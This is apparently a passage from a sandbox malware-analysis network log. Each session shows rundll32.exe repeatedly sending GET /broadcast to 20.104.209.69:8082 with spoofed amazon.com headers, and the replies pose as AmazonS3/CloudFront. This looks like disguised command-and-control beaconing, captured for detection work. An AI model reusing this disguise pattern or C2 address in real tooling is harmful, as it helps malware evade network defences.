Jan 8, 2023 16:07:26.542737961 CET	569	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	49766	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:26.874092102 CET	572	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:26.992284060 CET	573	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:18 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	49767	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:27.818413019 CET	575	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:27.938086987 CET	576	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49705	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:06:59.744662046 CET	378	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:06:59.862448931 CET	379	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	49768	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:29.704278946 CET	579	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:29.822762966 CET	579	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	49769	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:30.121694088 CET	582	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:30.239763975 CET	582	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	49770	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:30.523756981 CET	585	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:30.643733978 CET	585	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	49771	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:30.904534101 CET	588	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:31.022608042 CET	588	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	49772	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:31.281477928 CET	591	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:31.399386883 CET	592	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	49773	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:31.656122923 CET	594	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:31.774454117 CET	595	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	49774	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:32.055870056 CET	598	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:32.175009966 CET	598	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	49775	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:32.439722061 CET	601	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:32.558489084 CET	601	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	49776	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:32.827301979 CET	604	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:32.945413113 CET	604	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	49777	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:33.200345993 CET	607	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:33.319674969 CET	607	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49706	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:00.160810947 CET	382	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:00.279369116 CET	382	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	49778	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:33.592093945 CET	610	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:33.710273981 CET	611	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	49779	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:33.964448929 CET	614	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:34.081945896 CET	614	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	49780	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:34.339950085 CET	617	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:34.459086895 CET	617	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	49781	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:34.730842113 CET	620	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:34.849227905 CET	620	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	49782	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:35.141875029 CET	623	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:35.261549950 CET	623	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	49783	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:35.537622929 CET	626	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:35.656428099 CET	627	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	49784	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
